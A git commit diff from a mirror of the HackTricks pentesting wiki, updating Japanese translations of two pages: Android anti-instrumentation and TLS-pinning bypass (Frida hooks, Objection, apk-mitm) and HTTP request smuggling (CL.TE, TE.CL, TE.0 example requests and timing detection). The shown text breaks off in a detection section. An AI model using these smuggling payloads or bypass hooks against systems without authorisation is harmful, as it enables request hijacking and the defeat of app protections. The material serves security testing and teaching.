mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p
This commit is contained in:
parent
38b8e180bc
commit
1d77e429d9
@ -2,75 +2,75 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
このページでは、インスツルメンテーションを検出/ルートブロックするAndroidアプリやTLSピンニングを強制するアプリに対して動的分析を再取得するための実用的なワークフローを提供します。迅速なトリアージ、一般的な検出、および再パッキングなしでバイパスするためのコピー&ペースト可能なフック/戦術に焦点を当てています。
|
||||
このページは、instrumentation を検出/ブロックしたり TLS pinning を強制する Android アプリに対して、動的解析を取り戻すための実践的なワークフローを提供します。高速なトリアージ、一般的な検出方法、可能な限り再パッケージ不要で回避するためのコピペ可能なフック/戦術に焦点を当てています。
|
||||
|
||||
## Detection Surface (アプリがチェックするもの)
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
- ルートチェック: suバイナリ、Magiskパス、getprop値、一般的なルートパッケージ
|
||||
- Frida/デバッガーチェック (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /procのスキャン、クラスパス、ロードされたライブラリ
|
||||
- ネイティブアンチデバッグ: ptrace(), システムコール、アンチアタッチ、ブレークポイント、インラインフック
|
||||
- 初期化チェック: Application.onCreate()またはインスツルメンテーションが存在する場合にクラッシュするプロセス開始フック
|
||||
- TLSピンニング: カスタムTrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscryptピンニング、ネイティブピン
|
||||
- Root チェック: su binary、Magisk paths、getprop values、一般的な root パッケージ
|
||||
- Frida/debugger チェック (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), /proc のスキャン、classpath、読み込まれた libs
|
||||
- Native anti‑debug: ptrace(), syscalls、anti‑attach、ブレークポイント、インラインフック
|
||||
- Early init チェック: Application.onCreate() やプロセス開始時のフックで、instrumentation が存在するとクラッシュさせるもの
|
||||
- TLS pinning: custom TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt pinning、ネイティブのピン
|
||||
|
||||
## Step 1 — クイックウィン: Magisk DenyListでルートを隠す
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
- Magisk で Zygisk を有効にする
|
||||
- DenyListを有効にし、ターゲットパッケージを追加
|
||||
- 再起動して再テスト
|
||||
- DenyList を有効にし、対象パッケージを追加する
|
||||
- 再起動して再テストする
|
||||
|
||||
多くのアプリは明らかな指標(su/Magiskパス/getprop)だけを探します。DenyListはしばしば単純なチェックを無効化します。
|
||||
多くのアプリは明白な指標(su/Magisk paths/getprop)のみをチェックします。DenyList はこうした単純なチェックを無効化することが多いです。
|
||||
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Step 2 — 30秒Fridaコードシェアテスト
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
深く掘り下げる前に一般的なドロップインスクリプトを試してください:
|
||||
深掘りする前に、よく使われるドロップインスクリプトを試してください:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
- hide_frida_gum.js
|
||||
|
||||
Example:
|
||||
例:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
これらは通常、Javaのroot/debugチェック、プロセス/サービススキャン、およびネイティブptrace()をスタブします。軽く保護されたアプリに役立ちます; 強化されたターゲットにはカスタマイズされたフックが必要な場合があります。
|
||||
これらは通常、Java の root/debug チェック、process/service スキャン、およびネイティブ ptrace() をスタブ化します。軽度に保護されたアプリには有用ですが、ハード化されたターゲットでは専用のフックが必要になる場合があります。
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## ステップ3 — 遅れてアタッチすることでinit-time検出をバイパス
|
||||
## ステップ3 — init-time detectors を遅れてアタッチして回避する
|
||||
|
||||
多くの検出はプロセスの生成/onCreate()中にのみ実行されます。生成時のインジェクション(-f)やガジェットは捕まります; UIが読み込まれた後にアタッチすることで回避できます。
|
||||
多くの検出は process spawn/onCreate() の実行時のみ走ります。Spawn‑time injection (-f) や gadgets は検出されやすいですが、UI がロードされた後にアタッチすれば回避できることがあります。
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
もしこれが機能すれば、セッションを安定させ、マッピングとスタブチェックを進めます。
|
||||
If this works, keep the session stable and proceed to map and stub checks.
|
||||
|
||||
## ステップ 4 — Jadxを使用した検出ロジックのマッピングと文字列ハンティング
|
||||
## Step 4 — Jadx と文字列探索で検出ロジックをマッピング
|
||||
|
||||
Jadxでの静的トリアージキーワード:
|
||||
Static triage keywords in Jadx:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
典型的なJavaパターン:
|
||||
Typical Java patterns:
|
||||
```java
|
||||
public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
一般的なAPIのレビュー/フック:
|
||||
確認・フックすべき一般的なAPI:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (ネイティブブリッジ)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (コマンドのプロービング)
|
||||
- android.os.SystemProperties.get (root/emulator ヒューリスティック)
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||
|
||||
## ステップ5 — Fridaを使用したランタイムスタブ (Java)
|
||||
## ステップ5 — Frida (Java) によるランタイムのスタブ化
|
||||
|
||||
カスタムガードをオーバーライドして、安全な値を返すようにします。
|
||||
カスタムガードをオーバーライドして、再パッケージ化せずに安全な値を返す:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
初期クラッシュのトリアージ?クラッシュする直前にクラスをダンプして、検出される可能性のある名前空間を特定します:
|
||||
初期の crashes をトリアージしていますか?終了直前に Dump classes を行い、検出に使われそうな namespaces を特定しましょう:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
疑わしいメソッドをログに記録し、無効化して実行フローを確認します:
|
||||
実行フローを確認するために、疑わしいメソッドをログ出力して無効化する:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -104,24 +104,24 @@ return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
## ステップ 6 — Java フックが失敗したときに JNI/ネイティブのトレイルを追う
|
||||
## ステップ6 — Java hooksが失敗した場合はJNI/nativeの経路をたどる
|
||||
|
||||
JNI エントリポイントをトレースして、ネイティブローダーと検出初期化を特定します:
|
||||
JNIのエントリポイントをトレースして、native loadersとdetection initを特定する:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
バンドルされた .so ファイルの迅速なネイティブトリアージ:
|
||||
バンドルされた .so ファイルの簡易ネイティブトリアージ:
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
インタラクティブ/ネイティブリバースエンジニアリング:
|
||||
Interactive/native reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
例: libcのシンプルなアンチデバッグを打破するためにptraceを無効化する:
|
||||
例: ptrace を無効化して libc の簡単な anti‑debug を回避する:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -130,35 +130,38 @@ return -1; // pretend failure
|
||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||
}
|
||||
```
|
||||
See also: {{#ref}}
|
||||
参照:
|
||||
{{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## ステップ 7 — Objection パッチング (埋め込みガジェット / 基本のストリップ)
|
||||
## ステップ7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
ランタイムフックよりもリパッキングを好む場合は、次を試してください:
|
||||
repackingをruntime hooksの代わりに好む場合は、次を試してください:
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
ノート:
|
||||
- apktoolが必要です。ビルドの問題を避けるために、公式ガイドから最新バージョンを確認してください: https://apktool.org/docs/install
|
||||
- Gadget injectionはrootなしでのインスツルメンテーションを可能にしますが、より強力なinit時チェックに捕まる可能性があります。
|
||||
注記:
|
||||
- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install
|
||||
- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks.
|
||||
|
||||
参考文献:
|
||||
参考:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## ステップ8 — フォールバック: ネットワークの可視性のためにTLSピンニングをパッチする
|
||||
## Step 8 — フォールバック: ネットワーク可視化のために TLS pinning をパッチする
|
||||
|
||||
インスツルメンテーションがブロックされている場合でも、ピンニングを静的に削除することでトラフィックを検査できます:
|
||||
もし instrumentation がブロックされている場合、pinning を静的に除去することでトラフィックを確認できます:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- ツール: https://github.com/shroudedcode/apk-mitm
|
||||
- ネットワーク設定のCAトラストトリック(およびAndroid 7+のユーザーCAトラスト)については、次を参照してください:
|
||||
- ネットワーク設定の CA‑trust トリック(および Android 7+ user CA trust)については、次を参照:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
@ -183,12 +186,12 @@ apk-mitm app.apk
|
||||
```
|
||||
## ヒントと注意点
|
||||
|
||||
- アプリが起動時にクラッシュする場合は、スパウンするよりも遅延接続を優先する
|
||||
- 一部の検出は重要なフロー(例:支払い、認証)で再実行される — ナビゲーション中はフックをアクティブに保つ
|
||||
- 静的と動的を組み合わせる:Jadxで文字列を検索してクラスを絞り込み、その後メソッドをフックしてランタイムで検証する
|
||||
- ハード化されたアプリはパッカーやネイティブTLSピンニングを使用する場合がある — ネイティブコードのリバースを期待する
|
||||
- アプリが起動時にクラッシュする場合は、spawnより遅くattachすることを優先する
|
||||
- いくつかの検知は重要なフロー(例: payment、auth)で再実行されることがある — ナビゲーション中はhooksを有効に保つ
|
||||
- 静的解析と動的解析を組み合わせる: Jadxで文字列を探索してクラスを絞り、ランタイムで確認するためにメソッドをhookする
|
||||
- 強化されたアプリはpackersやnative TLS pinningを使用する可能性がある — ネイティブコードの逆解析を想定する
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
|
||||
- [Frida Codeshare](https://codeshare.frida.re/)
|
||||
|
||||
@ -2,63 +2,64 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is
|
||||
|
||||
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバーの間に**非同期化**が発生することで、**攻撃者**が**HTTPリクエスト**を**送信**できるようになり、**フロントエンド**プロキシ(ロードバランサー/リバースプロキシ)には**単一のリクエスト**として、**バックエンド**サーバーには**2つのリクエスト**として**解釈**されることを可能にします。\
|
||||
これにより、ユーザーは**自分の後にバックエンドサーバーに到着する次のリクエストを**変更することができます。
|
||||
## 概要
|
||||
|
||||
### Theory
|
||||
この脆弱性は、**front-end proxies** と **back-end** サーバ間の **desyncronization** により、**attacker** が HTTP の **request** を **send** し、それが **front-end** proxies(load balance/reverse-proxy)には **single request** として **interpreted** され、**back-end** サーバには **as 2 request** として **interpreted** される場合に発生します。\
|
||||
これにより、攻撃者は **modify the next request that arrives to the back-end server after his** ことが可能になります。
|
||||
|
||||
### 理論
|
||||
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> メッセージがTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方を持って受信された場合、後者は無視されなければなりません。
|
||||
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズをバイト単位で示します。
|
||||
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディングの形式を指定します。\
|
||||
> Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### Reality
|
||||
### 実際
|
||||
|
||||
**フロントエンド**(ロードバランサー/リバースプロキシ)は_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ものを**処理**し、2つのシステム間に**非同期化**を引き起こします。\
|
||||
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき、**バックエンド**サーバーはそれを**2つの異なるリクエスト**として**解釈**します。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**となることにあります。
|
||||
**Front-End**(load-balance / Reverse Proxy)が _**Content-Length**_ または _**Transfer-Encoding**_ ヘッダを処理し、**Back-end** サーバが別のヘッダを処理することで、両者間に **desyncronization** が発生します。\
|
||||
これにより、攻撃者は reverse proxy に対して **one request** を送信し、それが **back-end** サーバで **2 different requests** として **interpreted** される可能性があります。この手法の危険性は、**back-end** サーバが **2nd request injected** をあたかも **next client** から来たものとして扱い、そのクライアントの本来のリクエストが **injected request** の一部となってしまう点にあります。
|
||||
|
||||
### Particularities
|
||||
### 特記事項
|
||||
|
||||
HTTPでは**新しい行文字は2バイトで構成されています:**
|
||||
HTTP では **改行文字は 2 バイトからなる** ことを覚えておいてください:
|
||||
|
||||
- **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
|
||||
- **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**には**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません:`0`
|
||||
- **Connection**: 私の経験に基づくと、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
|
||||
- **Content-Length**: このヘッダはリクエストのボディのバイト数を示す **10 進数** を使います。ボディは最後の文字で終わることが期待され、**リクエストの末尾に改行は必須ではありません**。
|
||||
- **Transfer-Encoding:** このヘッダはボディ内で次のチャンクのバイト数を示す **16 進数** を使います。チャンクは **改行で終わる必要があり**、ただしその改行は長さ指標には **含まれません**。この転送方式は `0` サイズのチャンクと **2 つの改行** で終了する必要があります。
|
||||
- **Connection**: 私の経験では、request Smuggling の最初のリクエストでは **`Connection: keep-alive`** を使うことを推奨します。
|
||||
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
> Burp Suiteでこれを悪用しようとする際は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。
|
||||
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
||||
|
||||
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`(CL)および`Transfer-Encoding`(TE)ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することで作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。
|
||||
HTTP request smuggling 攻撃は、front-end と back-end が `Content-Length` (CL) と `Transfer-Encoding` (TE) ヘッダを解釈する際の不一致を突く曖昧なリクエストを送ることで作られます。これらの攻撃は主に **CL.TE**, **TE.CL**, **TE.TE** として現れます。各タイプは front-end と back-end がこれらのヘッダをどのように優先するかの組み合わせを表します。サーバが同じリクエストを異なる方法で処理することで脆弱性が生じ、予期せぬ悪意のある結果を招くことがあります。
|
||||
|
||||
### Basic Examples of Vulnerability Types
|
||||
### 脆弱性タイプの基本例
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
|
||||
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
|
||||
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **フロントエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
|
||||
- **バックエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
|
||||
- **攻撃シナリオ:**
|
||||
- **Front-End (CL):** リクエストを `Content-Length` ヘッダに基づいて処理します。
|
||||
- **Back-End (TE):** `Transfer-Encoding` ヘッダに基づいてリクエストを処理します。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
|
||||
- フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
|
||||
- バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の次のリクエストとして解釈します。
|
||||
- **例:**
|
||||
- 攻撃者は `Content-Length` ヘッダの値が実際のコンテンツ長と一致しないリクエストを送信します。
|
||||
- front-end サーバは `Content-Length` の値に基づいてリクエスト全体を back-end に転送します。
|
||||
- back-end サーバは `Transfer-Encoding: chunked` ヘッダのためチャンク処理として解釈し、残りのデータを別の続くリクエストとして扱います。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -75,14 +76,14 @@ Foo: x
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **フロントエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
|
||||
- **バックエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
|
||||
- **攻撃シナリオ:**
|
||||
- **Front-End (TE):** `Transfer-Encoding` ヘッダに基づいてリクエストを処理します。
|
||||
- **Back-End (CL):** `Content-Length` ヘッダに基づいてリクエストを処理します。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
|
||||
- フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
|
||||
- バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない次のリクエストの一部として残します。
|
||||
- **例:**
|
||||
- 攻撃者はチャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンク化リクエストを送信します。
|
||||
- front-end サーバは `Transfer-Encoding` を尊重してリクエスト全体を back-end に転送します。
|
||||
- back-end サーバは `Content-Length` を尊重してリクエストの最初の部分(`7b` バイト)だけを処理し、残りを意図しない続きのリクエストとして残します。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -104,13 +105,13 @@ x=
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を通じて無視されるように騙されることがあります。
|
||||
- **攻撃シナリオ:**
|
||||
- **Servers:** 両方とも `Transfer-Encoding` をサポートしますが、片方は難読化によって無視される可能性があります。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
|
||||
- どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
|
||||
- リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。
|
||||
- **例:**
|
||||
- 攻撃者は難読化された `Transfer-Encoding` ヘッダを含むリクエストを送信します。
|
||||
- どちらのサーバ(front-end または back-end)がこの難読化を認識できないかによって、CL.TE または TE.CL の脆弱性が悪用され得ます。
|
||||
- いずれかのサーバが未処理として見るリクエストの残りの部分が次のリクエストの一部となり、smuggling を引き起こします。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -131,9 +132,9 @@ Transfer-Encoding
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- 両方のサーバーは、`Content-Length`ヘッダーのみに基づいてリクエストを処理します。
|
||||
- このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
|
||||
- **例:**
|
||||
- 両方のサーバが `Content-Length` ヘッダのみに基づいてリクエストを処理します。
|
||||
- このシナリオは通常 smuggling を引き起こしません。両者の解釈が一致しているためです。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -146,9 +147,9 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドは`Content-Length`ヘッダーを無視します(これは0として扱われます)が、フロントエンドはそれを解析します。
|
||||
- スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終了を決定する方法に影響を与えます。
|
||||
- **例:**
|
||||
- `Content-Length` ヘッダが存在し、ゼロ以外の値を持つ場合を指します。back-end が `Content-Length` ヘッダを無視して(0 として扱い)、front-end がそれを解析するケースです。
|
||||
- これはサーバがリクエストの終了をどのように判断するかに影響を与えるため、smuggling 攻撃の理解と作成に重要です。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -161,9 +162,9 @@ Non-Empty Body
|
||||
|
||||
#### TE.0 Scenario
|
||||
|
||||
- 前のものと同様ですが、TEを使用しています。
|
||||
- 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
|
||||
- **例**:
|
||||
- 前述のものと同様ですが、TE を使用するケースです。
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -181,34 +182,35 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### ウェブサーバーの破壊
|
||||
#### ウェブサーバーのクラッシュ
|
||||
|
||||
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
|
||||
この手法は、**初期のHTTPデータを読み込んでいる間にウェブサーバーをクラッシュさせる**が、**接続を閉じずに**済むようなシナリオでも有用です。こうすると、HTTPリクエストの**body**は**次のHTTPリクエスト**として扱われます。
|
||||
|
||||
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することが可能で、サーバーが**破壊**されます。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
|
||||
例えば、[**this writeup**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeug ではいくつかの **Unicode** 文字を送信することでサーバーを**break**させることが可能でした。しかし、HTTP接続がヘッダ**`Connection: keep-alive`**で作成されている場合、リクエストの**body**は読み込まれず接続は開いたままになるため、リクエストの**body**は**次のHTTPリクエスト**として扱われます。
|
||||
|
||||
#### ホップバイホップヘッダーによる強制
|
||||
#### hop-by-hop headers を介した強制
|
||||
|
||||
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です**。
|
||||
hop-by-hop headers を悪用すると、プロキシに **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse** と指示でき、それによって HTTP request smuggling を悪用できます。
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
For **more information about hop-by-hop headers** visit:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## HTTPリクエストスムージングの発見
|
||||
## HTTP Request Smuggling の検出
|
||||
|
||||
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。
|
||||
HTTP request smuggling 脆弱性の識別は、多くの場合タイミング手法で達成できます。これらは、改変したリクエストに対してサーバが応答するまでにどれくらい時間がかかるかを観察することに依存します。これらの手法は特に CL.TE および TE.CL 脆弱性の検出に有用です。これらの方法に加えて、脆弱性を見つけるために使える他の戦略やツールもあります:
|
||||
|
||||
### タイミング技術を使用したCL.TE脆弱性の発見
|
||||
### CL.TE 脆弱性の検出(タイミング手法を使用)
|
||||
|
||||
- **方法:**
|
||||
- **Method:**
|
||||
|
||||
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
|
||||
- **例:**
|
||||
- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -222,20 +224,20 @@ A
|
||||
0
|
||||
```
|
||||
|
||||
- **観察:**
|
||||
- フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを早期に切り捨てます。
|
||||
- バックエンドサーバーは、チャンクメッセージを期待して次のチャンクを待ちますが、それは決して到着せず、遅延を引き起こします。
|
||||
- **Observation:**
|
||||
- フロントエンドサーバは `Content-Length` に基づいてリクエストを処理し、メッセージを早期に切断します。
|
||||
- バックエンドサーバは chunked メッセージを期待しており、次のチャンクが到着するのを待つため、遅延が発生します。
|
||||
|
||||
- **指標:**
|
||||
- タイムアウトや応答の長い遅延。
|
||||
- バックエンドサーバーから400 Bad Requestエラーを受け取ることがあり、時には詳細なサーバー情報が含まれます。
|
||||
- **Indicators:**
|
||||
- タイムアウトや長い応答遅延。
|
||||
- バックエンドサーバから 400 Bad Request エラーを受け取ることがあり、時に詳細なサーバ情報が含まれる場合があります。
|
||||
|
||||
### タイミング技術を使用したTE.CL脆弱性の発見
|
||||
### TE.CL 脆弱性の検出(タイミング手法を使用)
|
||||
|
||||
- **方法:**
|
||||
- **Method:**
|
||||
|
||||
- アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
|
||||
- **例:**
|
||||
- アプリケーションが脆弱であれば、バックエンドサーバが追加データを待つことになるようなリクエストを送信します。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -248,42 +250,42 @@ Content-Length: 6
|
||||
X
|
||||
```
|
||||
|
||||
- **観察:**
|
||||
- フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
|
||||
- バックエンドサーバーは`Content-Length`に基づいてメッセージを期待し、到着しない追加データを待ち、遅延を引き起こします。
|
||||
- **Observation:**
|
||||
- フロントエンドサーバは `Transfer-Encoding` に基づいてリクエストを処理し、メッセージ全体を転送します。
|
||||
- バックエンドサーバは `Content-Length` に基づくメッセージを期待しており、到着しない追加データを待つため遅延が発生します。
|
||||
|
||||
### 脆弱性を見つけるための他の方法
|
||||
### 脆弱性を見つけるためのその他の方法
|
||||
|
||||
- **差分応答分析:**
|
||||
